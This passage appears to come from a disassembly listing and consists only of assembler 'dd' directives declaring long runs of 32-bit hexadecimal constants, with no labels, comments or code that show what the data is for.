		dd 3886B28Bh, 0F56E17EFh, 8AC11AEEh, 8B85E379h,	0EB2381B5h
		dd 0AD17592Ch, 0D8304E71h, 1800FD76h, 0D40AA620h, 3D2D08B6h
		dd 6F01324Bh, 83306511h, 0C2334961h, 70BF6620h,	0C88D53EEh
		dd 86058C4Ch, 0A745CB72h, 0E2F852C9h, 0F142301Ch, 34AD490Fh
		dd 7D47E48Dh, 0CB3CF6B1h, 426E5Eh, 51D5F790h, 7C1134h
		dd 60521E15h, 0E18ABEB2h, 0BD053294h, 0F7A62AFDh, 0D814722Dh
		dd 1BC46B85h, 2EBAFC60h, 0E05C205h, 0CC0EA488h,	2C0B288Dh
		dd 6D5600F1h, 90610135h, 50F78B05h, 0D5A65E53h,	6E6030F1h
		dd 0F9DD9E20h, 0F27B2Dh, 0B4249CB6h, 0DA0A84B5h, 0B310B000h
		dd 0DE9610Fh, 0AF3DB504h, 221E9500h, 0B50593h, 0F0F9966Bh
		dd 108D8529h, 0D420B081h, 5352D9Dh, 0B75CD71Ah,	46EA00D4h
		dd 0F282BF99h, 2B0934F3h, 0DA087DB5h, 8525FB3h,	5F12165Eh
		dd 93F35A0Fh, 93F6A1C5h, 7DF31E0h, 3969E909h, 7EBDE40Fh
		dd 0C009F68Bh, 1B94D60Fh, 0C099754h, 0E27F298Fh, 0DE5DD6A0h
		dd 0F682A14Fh, 8D0F0201h, 0CB042189h, 7ABBF1F0h, 1900886Eh
		dd 0DDA27B97h, 12246B11h, 2D084964h, 0D82B0914h, 0FA70A25Bh
		dd 157E41h, 88381987h, 0DCD403BEh, 40506926h, 9310C160h
		dd 74A900F3h, 351E5E40h, 5B05F1E4h, 0AA0EA38h, 420BF7A1h
		dd 0B2C01A88h, 27209A1Bh, 0F6051C8h, 4D505FEFh,	3A9DFF9Bh
		dd 50AE5B6Bh, 700B73DAh, 489D708h, 0F9490136h, 1194D26Eh
		dd 918800D4h, 0B5332F1Ah, 89800805h, 0BF14ABDh,	381DB00Ch
		dd 9801891h, 99CB7383h,	721EC4A6h, 3A40378Ah, 343C93EBh
		dd 1DD01D2h, 39C0A36Dh,	66D42020h, 0A122BE12h, 0E8A0AF14h
		dd 4A008C1Ch, 82E8BF80h, 0F1E2F908h, 0D216746Dh, 23A23E01h
		dd 7BB4071Ah, 2D0B61E9h, 3F1253Ch, 0CD2DFF8h, 175191DBh
		dd 20127118h, 0C304D979h, 0AFFC0F69h, 0A0ABB6D3h, 142D8FD0h
		dd 0A907AEB8h, 58015413h, 29B96010h, 40AF12B5h,	9945C5Ah
		dd 2159BD0Bh, 0AA6DCA32h, 80790960h, 0CD740BD4h, 0B0D0EFFDh
		dd 56089D20h, 1F08F58h,	0EA5BD191h, 1FED9A4Dh, 9B2DBF21h
		dd 0E696525Ah, 88C8F0C9h, 691704AEh, 0E2A5AC8Fh, 0CB491EDAh
		dd 0F12DFE80h, 0D09C22h, 0BF061A7Eh, 55A6575Bh,	8B2FABB6h
		dd 9B8B4983h, 21169773h, 108BC91Eh, 2DB1592Dh, 0FBBE7A01h
		dd 3BEC2CA9h, 77B2CDEBh, 0D3805522h, 522E7A64h,	0EFC8125Fh
		dd 5B3DEC04h, 1A1824A8h, 8FD70A7Bh, 4D2BED2Dh, 8FB7E0D0h
		dd 150BE72Ah, 6C4F0CD7h, 0E90A4445h, 0EF88284Eh, 5EF109B7h
		dd 2B54C08Bh, 0BAA861DCh, 6D3E86F6h, 29DB5A24h,	9E80368Eh
		dd 49742016h, 4185C71Ch, 0B132E20h, 8B091ECAh, 77130EDDh
		dd 0CE8147ECh, 780906FBh, 0C282CAh, 9585010Eh, 90B69F13h
		dd 0B73C2A45h, 256ED7h,	667C2C59h, 2C3ECDC7h, 5227D995h
		dd 0FED4A556h, 556B0962h, 3E536A5Ch, 29E9103Bh,	0F3BF094Bh
		dd 25582D02h, 0A85DD6C1h, 712CB8F7h, 467C681Eh,	0D1AD0916h
		dd 0BE81186Eh, 8F33000Eh, 0FAEC5DD6h, 0C109A416h, 0B7FB8B28h
		dd 0F9848041h, 640941A6h, 4AD2DB12h, 0BEEE2B03h, 7595D146h
		dd 30F1834h, 0B531FEBFh, 132E1715h, 8940B08Eh, 962D219Dh
		dd 117C4ACAh, 0B9BF0205h, 5379151Fh, 5BFA719Ah,	2064C19Fh
		dd 3BC760B2h, 0C402EAD4h, 0BF18D8Bh, 0E8595703h, 0B0CEEDB8h
		dd 0E3885D7Ah, 0F18A8F9Eh, 38D5DC99h, 6B6E5F6Bh, 1838007Fh
		dd 0E0C92B55h, 0F94B395Bh, 610A88h, 0C2E6C3BFh,	550F28Dh
		dd 0BE40941Bh, 1D51C97Ah, 68F8E901h, 7BF02DAh, 60213245h
		dd 81126D96h, 0F0FE2660h, 3B973AFDh, 3828B962h,	0BCF1B6F0h
		dd 0AB171CCEh, 333582Dh, 0EAEE2C01h, 0DE812086h, 9EBD8C0h
		dd 298D2139h, 99CD3762h, 0DFB1FBE0h, 4CD76587h,	6650F181h
		dd 68F4F081h, 0DD3700AEh, 2F44A154h, 0A204DEBBh, 8589752Dh
		dd 1D44E189h, 0BC895B11h, 0CF6300F1h, 69592F1Fh, 852A8B50h
		dd 5B07F0A9h, 0F01E183h, 0CD9F41A5h, 0F1C7DA80h, 0BC002554h
		dd 1606931h, 9E1DFD9Dh,	0F717C135h, 0CCBBFD52h,	2000453Ch
		dd 0DEC2F1CDh, 341EA03Eh, 25F461C7h, 0B8DDEDAFh, 276CA9CBh
		dd 7E7B6Fh, 0D5A8F051h,	0EC81C50Ch, 952905BBh, 3A60617Fh
		dd 41623FDh, 0AE658BE6h, 7A342935h, 0BE8011ECh,	743F1A81h
		dd 0E1B58913h, 3C049B85h, 0C8132801h, 14005E0Bh, 0B8473971h
		dd 313DF268h, 0B12CD0A3h, 0B078272Ah, 6AEEC11h,	0BD897193h
		dd 0CF824D21h, 0AD374209h, 958B1782h, 212E5E61h, 0E32A93D5h
		dd 3018E27Ch, 0FE04A05Eh, 0FA8AB738h, 21677AB8h, 14B6CD8Bh
		dd 8B6FAB87h, 0EADE5601h, 3074DA96h, 21537982h,	0D3242560h
		dd 41AFD9D8h, 2D11A1F5h, 2732512Ch, 79A4F88h, 96369B82h
		dd 0D07A0642h, 566495h,	0B619FD3Fh, 78C72B3Bh, 606A9107h
		dd 32AC6C63h, 71284C75h, 2C8C15F8h, 180D326h, 16731E9Eh
		dd 0CA42498Bh, 63997E20h, 3B4929B7h, 547AE8A5h,	2C381546h
		dd 93890F93h, 7C68F8C4h, 2F6FFCEh, 172CFAE2h, 91C28B67h
		dd 0E4FFC988h, 0E9574E1Fh, 0F18E6A8Ah, 0CEA700CAh, 12FD0EA0h
		dd 902B5600h, 48D0B60Ch, 88C8F92Eh, 0FA45E35Ah,	0ABB874B9h
		dd 9666ED01h, 0F3D5898Eh, 6E4F1D23h, 0DEB200E1h, 6F19A4EEh
		dd 89E612C8h, 0B50B12FDh, 0B8B67DF6h, 0AB96009Dh, 0CFCC3466h
		dd 54D7208Eh, 68D4FD50h, 0CE4AD60h, 15B53342h, 91D9356h
		dd 1A5B1D97h, 7A424E36h, 291002B3h, 0A4FC686Ah,	0B445023Bh
		dd 0F6CB168Bh, 0CEF2E0A6h, 0E96A1845h, 342D1908h, 0AD730D03h
		dd 31073306h, 0C7D71DBEh, 0D6592D85h, 37E0A5A6h, 2C093F02h
		dd 4D6155AAh, 78F0C321h, 80864A80h, 0AAE69B0Bh,	0EB3560D7h
		dd 9D611607h, 0A96224E9h, 79B8EAh, 307C16C2h, 0AE0522D0h
		dd 0F0E1CA56h, 43E7FD5h, 0B19D8957h, 41AE721h, 284DB531h
		dd 603815B9h, 81665380h, 5EA0AEC6h, 64880F27h, 0FBBB17EEh
		dd 0C0460B37h, 60C2D86Dh, 0FF46DAh, 5740C2Eh, 3E94CBC0h
		dd 68151E00h, 0D29C04E9h, 32BD5B55h, 0CDCF81Dh,	10158D04h
		dd 12097506h, 74889570h, 53503119h, 8238B8A2h, 658589BDh
		dd 9F02560Eh, 0A0129215h, 58565BFCh, 87172022h,	0B5A3BD20h
		dd 0F83725h, 9A5FECD0h,	4B09B3DCh, 7E52A808h, 3B0F40B1h
		dd 0A3016AD2h, 0B9B20417h, 30365EF3h, 0A2E03BF2h, 0F97DEA23h
		dd 90F28628h, 2FE0049Dh, 0F444E804h, 0CB65BF93h, 0E9421F2h
		dd 0A1B8DBE9h, 0B491BA0Bh, 1D4558E0h, 0AC601971h, 0B95300E2h
		dd 0E6ED47Fh, 0E861590Ch, 5A897F05h, 0FC9ED395h, 42C58625h
		dd 0C02CEDCCh, 80BFD5ADh, 0E826F173h, 37A51FD2h, 5E25004Fh
		dd 0D16AB829h, 531A2D18h, 821211A0h, 9F477CDCh,	81F10AB0h
		dd 3CF6004Bh, 9E612909h, 4405A0E4h, 89E25E7Ch, 0B0BF9887h
		dd 0F18B5903h, 0A11282E8h, 0E522870Fh, 40C37C60h, 4914D6E4h
		dd 0C6054A00h, 8B587E11h, 86D2095h, 0ED926167h,	0CB8A03D8h
		dd 554B58E8h, 831EE4F0h, 59B9262Ch, 0C05696FCh,	23E86A02h
		dd 3EAD6BD3h, 0B50137BCh, 70EC3325h, 0A693AE0Bh, 0ED28842Dh
		dd 28FB8CBh, 95296D2h, 0D2844257h, 0F97ED5D1h, 0A033B86Bh
		dd 8412E5A3h, 380CD70h,	0D39D5BB5h, 664B9E57h, 38CEC29Bh
		dd 1FB5D180h, 9C1A65F5h, 426CD67Dh, 0F49AFE8Ch,	0C84E4C00h
		dd 0F0BCAE1Fh, 4BE835EDh, 6E7BBCA7h, 4D845362h,	0C8B9D6ADh
		dd 0D45A77E0h, 5807950Ch, 17E833CAh, 6410F569h,	33122ED5h
		dd 0C577D48Dh, 2560FA0h
		dd 85719E92h, 3AE86D91h, 0AB73E383h, 54E8B5CBh,	0DF009CBFh
		dd 0EB4DAD58h, 629181Ch, 8BAEF3A2h, 512D98CFh, 70FBD1Fh
		dd 0E047BCF3h, 3CB052E9h, 9BE87F13h, 77635C86h,	1C064895h
		dd 0F91B2585h, 37DE8ECh, 4207F29Ah, 5C10DB56h, 0E8092AD5h
		dd 167C0560h, 0E84695F4h, 85746075h, 0B109A1B6h, 0A530A20Fh
		dd 0E8FC000Eh, 4F9D0529h, 807D4004h, 501DFC28h,	0D44A5DBEh
		dd 8505F32Ch, 76B408A1h, 0F5E82CF9h, 0A37AFC5h,	8F8A7A00h
		dd 0F23A6CC7h, 21E390E4h, 651A1D05h, 0C6B7776Fh, 8D17A200h
		dd 0B5A4BF5h, 0E801C180h, 1BD128Bh, 0A0FD530Eh,	118962C7h
		dd 0CD1A2D7Fh, 85CA9EA0h, 0B5108B47h, 61310CA9h, 1121090Eh
		dd 993D820Fh, 9E39B902h, 0DDA443DAh, 8D010204h,	0B0ACC935h
		dd 0DC2CD4C2h, 28A8CD02h, 0DA810FABh, 0B96002A1h, 67E7C819h
		dd 1FD9B383h, 0E2FC9725h, 0DC62542Eh, 0E97AB600h, 57B10326h
		dd 5B957B09h, 56F1CA0Ah, 8EE0B779h, 1E9BE327h, 6D8BF8FBh
		dd 4EC5134Dh, 708ECEFCh, 0E7344F23h, 0A4F0C59Bh, 0FC04431Ch
		dd 9991199Eh, 0B47269ACh, 62598056h, 727DE0DBh,	1DD5315Eh
		dd 7194C8h, 20DBA241h, 0AE34B883h, 0C05C0B00h, 4509F078h
		dd 9759716Bh, 0D65F7588h, 0D7F3754Ah, 1B97085Eh, 0CE043A28h
		dd 8A0FF61Dh, 16842C89h, 0ACC9D8E9h, 0CEBF076Dh, 52216050h
		dd 31E45CB4h, 4FBA0566h, 0EC585A77h, 0A156C0BDh, 5993B6h
		dd 0AB5F83D5h, 3C086FD9h, 80976171h, 77E6816Ah,	635425C1h
		dd 0DAFF1B66h, 5B4F5D44h, 3DE49921h, 93E41F0h, 0B5958D21h
		dd 0F35B83C2h, 0F8C21271h, 135D7859h, 887281E6h, 7C009556h
		dd 1363D5B9h, 4A89FF86h, 80959B1Ah, 21A1FBF6h, 976200BDh
		dd 8D2B249Ah, 0EDC12FE1h, 8B0F0442h, 1FCCC4Dh, 0E6258311h
		dd 0D7BC70A1h, 0E7EBB682h, 0E80E7DC1h, 0D25B6E40h, 0B58E04CAh
		dd 0E8E575A6h, 61592F07h, 4C561AAAh, 2285218Ch,	0B02DAD3Dh
		dd 0C575C1h, 385D4AF1h,	0E3F6688Ch, 66ACD860h, 0D302B1BEh
		dd 84A5DB4Bh, 18BB9125h, 1057E91h, 0AA955281h, 44648CE1h
		dd 0E01EA61Ah, 6D09778h, 7E19B5A3h, 0B7BDADA1h,	1A4B0923h
		dd 2E14E476h, 0B0B58E98h, 35BD147Ch, 0AC92E40Eh, 0A7A645A2h
		dd 0E28D4D74h, 87E6D252h, 0B4735E00h, 9EA2824Ah, 920900E7h
		dd 0C80AE239h, 290AF53Bh, 0E5E95485h, 0EC85DDBFh, 90272775h
		dd 8300F864h, 8C1043Ch,	49E523CEh, 8EEC57ABh, 668AB702h
		dd 0A5BEBABFh, 0D3ACFC8Fh, 8D583F80h, 7F009880h, 3AE8C79Bh
		dd 3B6A6D4h, 3571D8FAh,	0E41040EDh, 1CF82D49h, 8ED4938Ch
		dd 8DEBE6C0h, 0E0B5A056h, 0DB86A1DBh, 0E40B782Dh, 0D8B112C6h
		dd 62848ABh, 0D396E0D2h, 69C65B67h, 0C0A2560Bh,	0C9DF939Ch
		dd 0B4F46C38h, 77B68CFCh, 8621A8E0h, 5DE6C0B5h,	80FD0973h
		dd 0FF181DD1h, 7FDE0729h, 0AC9E01D3h, 0B65D5080h, 2F099B27h
		dd 70693FE5h, 0DE1ABCA2h, 25A20148h, 6AB70461h,	3CDF6FAEh
		dd 1A66004Dh, 0C18146DEh, 0A0DD1A3Eh, 37754E25h, 3EEF01F8h
		dd 60D055C7h, 2316C899h, 0D2C9E9BDh, 5DF05526h,	2906112Bh
		dd 3A6A9359h, 9BCF595Ch, 7C732E24h, 7E011D46h, 0FD835327h
		dd 94A9D0B5h, 819BF47Bh, 97467578h, 1D2197E0h, 63DA2981h
		dd 610C09DCh, 0E55BC58Ah, 8A20E579h, 256F240Ch,	0FF853C90h
		dd 88E8603Bh, 5F00B59Ch, 0B4BCD2EDh, 201E281h, 5E43496Dh
		dd 7BEC8E0Fh, 93DD21FEh, 0FAB6C0D3h, 0AFACB9E0h, 567A5D5Bh
		dd 88132D10h, 2084D67Ch, 56291D5Bh, 9EA0F676h, 0D758D840h
		dd 29A91057h, 0B8FC6015h, 6170B707h, 0C1B5C357h, 0A885F34Eh
		dd 988D1BDh, 379AB080h,	13A480A9h, 0A2513Bh, 5F6317EAh
		dd 0E797DE8Bh, 6019E4B1h, 3039DCFh, 6646D676h, 6A8A88BBh
		dd 50BF091h, 33E47C8h, 1DA19FAAh, 0A58059E4h, 0ED5F5502h
		dd 0E9C86E1Ch, 31A9830Bh, 97A3942Ch, 0F4E457D1h, 0A44E962h
		dd 8D1E0066h, 0CC306876h, 0EE0A3B8Bh, 8385B361h, 0D242BD0Bh
		dd 84FB5E16h, 406EBB92h, 0E989AA00h, 815773ABh,	6A68D300h
		dd 605F4A55h, 4E857A03h, 0F96D4427h, 90610518h,	0FF8BFB0h
		dd 8854DCBFh, 0E250D75Eh, 49017BA9h, 0DF72AB62h, 0CFC0E35Eh
		dd 0EC2A25F2h, 2D3855E4h, 8081B807h, 0E0FD647Bh, 1E8A44Fh
		dd 0BE397F1h, 6D905F73h, 2AB801h, 8B46BCE4h, 9C57D05h
		dd 15209DEAh, 95E84A31h, 95E9A79h, 5C6A5FF9h, 7724DE39h
		dd 8B0D1838h, 53F42DAh,	0EC45A091h, 0D316D827h,	8DD1386Ch
		dd 0A626C5DEh, 48D0F7A2h, 2CA2E72h, 4F4BC92h, 0B3FCD1FFh
		dd 4477D040h, 0A61400B5h, 0B2605376h, 7504489Dh, 5B34ECD7h
		dd 22556981h, 90C8304h,	0D61E0D5Fh, 0D8BB5B65h,	921494DFh
		dd 778A1296h, 0C8026A28h, 0D2B5AAB5h, 5065D3CBh, 0CA00311Fh
		dd 5B85AABh, 146EBC4Ch,	0B795C780h, 2F75B673h, 8804AC37h
		dd 0F6A81DF2h, 0DD3E4D7h, 20E396BDh, 379742C7h,	35FC0226h
		dd 9384F88Ah, 0B6F580D8h, 9BE1399h, 0A0D40C61h,	0DE54C8h
		dd 5DFA7D98h, 0DDFC58A8h, 656D9B00h, 0F3812344h, 0E460337Bh
		dd 502690E8h, 1A0B6150h, 789DF3DCh, 35249783h, 0E7095D33h
		dd 0FFDC0745h, 0FE49829Ah, 6B254067h, 2076D26h,	77229A4Dh
		dd 0D065F170h, 0CFEA0D01h, 0DC4783BCh, 64115FBDh, 0B14A2589h
		dd 0EA84FBC9h, 5FA6FE74h, 0F5232AE0h, 29B5890Ch, 0B4FF4919h
		dd 7F00DCFFh, 0D3F585C0h, 9E0892BEh, 0EA5D40ACh, 68000D93h
		dd 0ED217F1h, 0E4FE4C5Fh, 98500E4Fh, 45A2BF2Fh,	825D1475h
		dd 29282186h, 0F77AD88h, 9501595h, 0F40132E9h, 22A58879h
		dd 5111B019h, 18C033ADh, 814133BFh, 0D20EE072h,	53E10C02h
		dd 6FFA1032h, 85070148h, 97F59D89h, 0C8B6C0C0h,	34169ABFh
		dd 8588739Eh, 4046B460h, 8C0CC17h, 51780700h, 70D90241h
		dd 17BA787Eh, 0AF5760Ah, 8019C176h, 0EB71F636h,	250031C0h
		dd 1FD00377h, 2D1AE926h, 5F093517h, 0E06B8522h,	0BB81C7DCh
		dd 0C82B4A10h, 3A381863h, 9425FC00h, 0E5A94220h, 0C7EAC900h
		dd 0EEF5841h, 0D18B05D2h, 0F14D9589h, 871D2CABh, 0F81E9D2Bh
		dd 27FAB7EDh, 0EDAB858Bh, 11352782h, 0F2096103h, 818DA9C5h
		dd 0FE8B07AFh, 884F0AB8h, 65029E21h, 3B632BB7h,	61AD8AD0h
		dd 33F70049h, 346D198Dh, 0BF174FE9h, 0EDBD2420h, 6B3C0038h
		dd 0D49E51DFh, 0D0B7F7Ah, 21635A1Ch, 5B61C6AEh,	0BFEA333Ah
		dd 3487FD8h, 84A2A297h,	0B9A62A21h, 0A528D5BFh,	0DFE4819h
		dd 89F9AF0Bh, 849F6444h, 415B2340h, 9BB5A187h, 523730DAh
		dd 6A5BF516h, 0E8F0E4F6h, 4D656156h, 0B2ACFBC8h, 2205F4D0h
		dd 8565C71Eh, 972FDB6h,	7A07B3B9h, 83F57924h, 0FFCE809h
		dd 0B5AC4680h, 0EDED006Bh, 39B857h, 5B83F19Ch, 9529DEF2h
		dd 6A55Eh, 0F6B4C02Bh, 9E2AE1BAh, 35C0C036h, 2E942076h
		dd 650FDh, 0AD0FFFBFh, 0D160C233h, 0E983D050h, 0F4750F04h
		dd 0D847BA60h, 15F08CADh, 48A5988Ah, 8AD700B3h,	99F704FAh
		dd 0B01427Ah, 0C8DEC450h, 6E3B618Fh, 83C4006Bh,	7A625EFCh
		dd 0A2264BFDh, 0A8860129h, 0E5DD4E9Bh, 0D3880DC4h, 0E319F619h
		dd 0D4F7E09Ah, 2C0D040Eh, 94F5958Bh, 2DF2C8h, 39EF1924h
		dd 70A865h, 8C3C4B17h, 593F954Ch, 96DDD904h, 8B818FEBh
		dd 0A3722319h, 0BBDBCB07h, 0E1C2C750h, 0BCC10318h, 0B6AB7408h
		dd 0B7581925h, 965C0003h, 9F875774h, 0F5B79Fh, 111D3C4Ah
		dd 775CB72Bh, 1E2910B0h
		dd 806DA04Ah, 601AE487h, 13E5FF8Bh, 446F01CFh, 9348D76h
		dd 0C1F01AB8h, 0A4674E28h, 255DAB2h, 21C9DDCh, 77BE1FFh
		dd 7FF0A70h, 17EFF72Ah,	0A48B21B0h, 191210Fh, 0C22C18Dh
		dd 0F7034E4Dh, 9EE0A7D6h, 59953199h, 3142985Dh,	37450120h
		dd 36DB2540h, 0FC12A4F8h, 0EF86100Fh, 85310E02h, 4A4D71Dh
		dd 601F40EDh, 729C36B1h, 41AAE040h, 5E82C725h, 0A679C5FDh
		dd 50D5E010h, 10F8002Eh, 0D2CE4960h, 0B9208D01h, 0E180262Ah
		dd 0FBBF0319h, 0D037C90Ah, 3EA041BBh, 0B074DDF4h, 0B721E276h
		dd 0CD4209CFh, 2495FE31h, 0D11CE1h, 85336C05h, 87A411FDh
		dd 0FB1CB12Dh, 450937Bh, 0A1EC467Eh, 61FB20F2h,	0FA8B46A8h
		dd 0BC026804h, 0B4F2EDD3h, 0B5F87900h, 500897E0h, 81605B71h
		dd 4B47FD40h, 0F0EE9D12h, 4405D527h, 0C26D18F5h, 0E9FA8A13h
		dd 28D28D90h, 68B826ADh, 0BE464907h, 73647FAFh,	0A0F20BBh
		dd 0DC024FA8h, 8B3D5CD6h, 85D9C0F9h, 9B7ED265h,	35B8C03Ah
		dd 9BF795Eh, 223AE6EBh,	722D72A1h, 2B18C1C7h, 9BC9B5DEh
		dd 7A7933E4h, 82E10300h, 0DA105207h, 0BE8CBFAEh, 0BD2989C1h
		dd 8505F0E5h, 60AB0E25h, 1837834Fh, 15FB7A00h, 39A92E03h
		dd 1EFECCFh, 1E81DA85h,	2F0689F6h, 9512C36Eh, 2F5E29B0h
		dd 0CA814BDAh, 20BB3F27h, 4BDDE50Ch, 5404468Bh,	44539820h
		dd 0F272434h, 0CB0EAE81h, 9D3C9887h, 0FF3040A5h, 2EF1B552h
		dd 9908A7F8h, 4E80832h,	1F03FF87h, 181B6007h, 411C2A9h
		dd 9D17B2E2h, 0E97F21Bh, 0E0EEB9D7h, 19532515h,	177A003Ch
		dd 615E4895h, 50E69EB0h, 8BD2B31Bh, 0F8BA3BE3h,	0CB85A6E5h
		dd 0C9390017h, 4A6FEBB6h, 0F441394Bh, 60AE3B83h, 88E44007h
		dd 1905B7F7h, 0ED9D0958h, 918DB6A0h, 5BE3AF9Fh,	715009ACh
		dd 0FCB00032h, 0A86DC4F5h, 0F229C801h, 8E922F4h, 0C43BA611h
		dd 86E27B3Eh, 0FE5F9724h, 0D7588AA7h, 202FACC8h, 68BB6176h
		dd 52E3094Ah, 0C19A85C7h, 3D78E2E4h, 9751CA0h, 5920E999h
		dd 18531A9Ah, 2E0910DBh, 2AD3895Fh, 7540F520h, 7AAD005Fh
		dd 50DA8A3Eh, 11700C30h, 61954473h, 4CEB1017h, 4C3F000Eh
		dd 20580317h, 36EBE7DCh, 43E036DDh, 63E19E64h, 2934501Bh
		dd 180C2128h, 0D0011358h, 0D2991B57h, 0CB6E2EC0h, 2C87F328h
		dd 528309C5h, 7D857160h, 0A70B0441h, 38CD703Eh,	0E2B7FAECh
		dd 0F12A0B30h, 28410F7Bh, 0FDD15AE0h, 809B3CBh,	2B88D80h
		dd 0DC2FA510h, 0B100F437h, 0BF5680EBh, 5F9C5AFEh, 0A492B131h
		dd 98C05F82h, 729D882h,	0CFEECB62h, 0FA58F0F0h,	2B046AEAh
		dd 0C71C25F4h, 4FA1ABBh, 1145F682h, 34455AD2h, 9EDB510Fh
		dd 4B4A4E48h, 8B935751h, 4B48409h, 1DA70E13h, 25952538h
		dd 8EE931D3h, 395873B8h, 741415C9h, 0D7FD938Bh,	7D0A4AB8h
		dd 0B29026A4h, 0A9D18509h, 987C39B0h, 5787377Fh, 6E348225h
		dd 0B484878h, 636DA0CCh, 0A6F012Bh, 86896153h, 837EC2C4h
		dd 0D80D00F4h, 940BE6DAh, 0FC17C4FEh, 0D3A4E809h, 0DEC90091h
		dd 1E3BDB7Bh, 0FC014FC8h, 0AF97AD6Ah, 0B629890Fh, 7BF25Bh
		dd 0F0C331B6h, 88D96Ah,	0CE791F89h, 0DFAAFE82h,	51038601h
		dd 5F5BF33Ah, 0A1D5752Ch, 524CC7BCh, 835B0FF7h,	0E404F2C2h
		dd 890006D9h, 61BF2050h, 27165F13h, 0D7C2DF02h,	0CCB7FD13h
		dd 83B40A80h, 11ACD66Ch, 2E0BE8C2h, 0F6017DB2h,	0DB42AA63h
		dd 682897C0h, 11D17A60h, 0B52909B8h, 0F3922FF1h, 886F97C9h
		dd 8D2729DCh, 63B90949h, 59D2125Bh, 4183290Fh, 90E117Dh
		dd 8100E669h, 4B1BDEC3h, 0F2E9605h, 6041698Ch, 8D6E62B2h
		dd 3E9D31B2h, 0FF96AEC2h, 270410B7h, 0C3922BC5h, 0C7B7FE1Ch
		dd 8861D00Dh, 8000E621h, 9C518D3Bh, 14D74FA9h, 683053C6h
		dd 3EF93093h, 487E5D5Ah, 89333000h, 8B5C4480h, 4190972Bh
		dd 0C10039D3h, 679E226Bh, 0CD4D8h, 0ABE2E03Ah, 8BED8EF2h
		dd 85F0DA4Ah, 0DE164A2Dh, 0A0988FCFh, 9CE5BA9Dh, 0D0E80BFDh
		dd 50FF50Ah, 221013E4h,	337D126h, 969578DBh, 0E06ABBB0h
		dd 80F2504Bh, 8DDFF700h, 5BE270ADh, 3898B300h, 320ACC81h
		dd 6F964D41h, 4BF80829h, 6CC07ECDh, 0B39ADh, 8444E861h
		dd 1D9509BBh, 0D58D31B9h, 0ACF36D19h, 6E5B75FCh, 35C50000h
		dd 0C85101D9h, 604B0128h, 0A6D78052h, 0CE332059h, 76696155h
		dd 6C93F059h, 0E69C5F06h, 0ECE70F37h, 0C821EDF1h, 8A2916CDh
		dd 0DD25C6E8h, 8901C0EDh, 4202810Fh, 0BB2063F2h, 4CE757C3h
		dd 0C527EC3Eh, 76D63162h, 34904DCh, 0B062D9Dh, 0D1E2FBC6h
		dd 807228CCh, 0AF8FE2DCh, 6C341846h, 294C52B1h,	0E834E00h
		dd 0C7D98B1Eh, 2A251485h, 6594A410h, 1C48A3Bh, 3655B52Eh
		dd 0F3F0E983h, 0D4DB8CFFh, 0C18B19C0h, 0A21DF6BFh, 756C2ABDh
		dd 0C6658F1Dh, 3AE69D5Dh, 8B609009h, 3D4859F7h,	48F9E53Eh
		dd 2302CE55h, 0C29E97C6h, 5E937771h, 0B7906A0Bh, 0EF82BD3Dh
		dd 820FCCF1h, 85EC597Ah, 0DF8023A0h, 5BC8344Ah,	7EA504Ch
		dd 0C99030EFh, 14516DCEh, 0E41FCD95h, 245AB879h, 6103F31h
		dd 0DE8A900Fh, 619BB7E7h, 0AD21DB80h, 9F4BF85Eh, 0B0C13FEDh
		dd 5F9A33Ch, 0E9510330h, 0CC7F8105h, 0C6322B32h, 69C256F8h
		dd 77DF6A00h, 0F2FD1FFh, 255BC68Fh, 9065B709h, 5523A31Ah
		dd 0E114D837h, 0F6B500AEh, 85011F32h, 2557B4D9h, 0BD199846h
		dd 95750891h, 0BAC956Bh, 0B310E822h, 2F1885F2h,	0C23A66AFh
		dd 0FC0EAA59h, 93B9631h, 23095ADBh, 0CC405654h,	989D42h
		dd 0A0228DF2h, 0E99C91D2h, 18A65ED2h, 3AC106F0h, 0CB3D437Fh
		dd 7A0E1D5Ch, 993D781h,	0EA665EBBh, 40298C50h, 914AE921h
		dd 7710B0CEh, 746B9351h, 0E0997D00h, 0F59ABE0Bh, 0C0397225h
		dd 950DF144h, 6F009B6Ch, 0B73E5FB0h, 69BD23BAh,	0CA51A7FDh
		dd 0C0084DADh, 0EBFBF09Ah, 0A81F7200h, 6025558Ah, 999D382Bh
		dd 2969205Eh, 531661CDh, 95B38B0Fh, 0F08DEF0Bh,	0FA877FD4h
		dd 4A990F50h, 31C6F2h, 3CEA843h, 71A0D7D9h, 25C4ED06h
		dd 0D636906Ch, 0E0B4E640h, 90CB39EDh, 7492047h,	51830F28h
		dd 40BABB04h, 0DB91EE3h, 0B07AB75Bh, 1227DAFBh,	0E09054Fh
		dd 91B4B17Ah, 0FAF7DF82h, 4C91C5Ch, 8B440293h, 0D71EB8F9h
		dd 5BDE0303h, 1DA9E46Ah, 0D1BA30B9h, 37084DE6h,	8210E932h
		dd 0F6AA4FC6h, 0EEEC98E0h, 2B01AFECh, 0CB71D67Bh, 65F401D7h
		dd 2F78B90Ah, 37D744CAh, 0E6E612C7h, 0B8302213h, 0B00D40A3h
		dd 0FEC681BDh, 62D070E6h, 69B70142h, 9D2971E4h,	0A28B544Dh
		dd 8EFD00D2h, 7841E7E6h, 1624977Bh, 0B5094102h,	400D23E1h
		dd 3055FAE4h, 0D0F3574Eh, 205BD0Ch, 0DB58B729h,	9D0B1C8Ah
		dd 0B6B42FD2h, 21392585h, 0D22D2BF9h, 21B98Fh, 40E0A835h
		dd 523E2E0Ah, 0E1970171h, 5BB36C0Eh, 0CC13142Eh, 132E4510h
		dd 0EC04C82Bh, 3B84169h, 8AB57E7Eh, 89D90A99h, 4C20A17Eh
		dd 15CD00E4h, 0A058FC65h, 6300D328h, 24F2E71h, 4B098C67h
		dd 485D9h, 0CB0CC33Dh, 0DE318060h, 61F1E614h, 924B20B8h
		dd 0B3211505h, 7F706062h, 610B4029h, 9757E929h,	4BAB6995h
		dd 6460CAA3h, 3ED140CCh, 3CF69195h, 8006BC14h, 0C9F1C2A2h
		dd 59D1017Eh, 0EF46A8EBh, 1658F06Ch, 74682A0Bh,	0C1B302B1h
		dd 835B0132h, 0FE3442A5h, 12211A40h, 266F8981h,	0EB12E803h
		dd 11E601FAh, 13E4260Bh, 0BF78A2FBh, 8FA00395h,	0ED6E177Dh
		dd 0F3814601h, 741E75AAh
		dd 0B290E62Bh, 0F8A13118h, 0BB2CC41Bh, 0FD082951h, 0B95F040Eh
		dd 0FA8ED5D4h, 11355204h, 0D3289314h, 0A6E15FE0h, 0B670F0A0h
		dd 33520660h, 731EF99Dh, 612D3790h, 0FF5688FCh,	0A6C02B89h
		dd 5811299Eh, 0CF4AF1D2h, 0F083460Ch, 3B0CE8F9h, 1DED46Eh
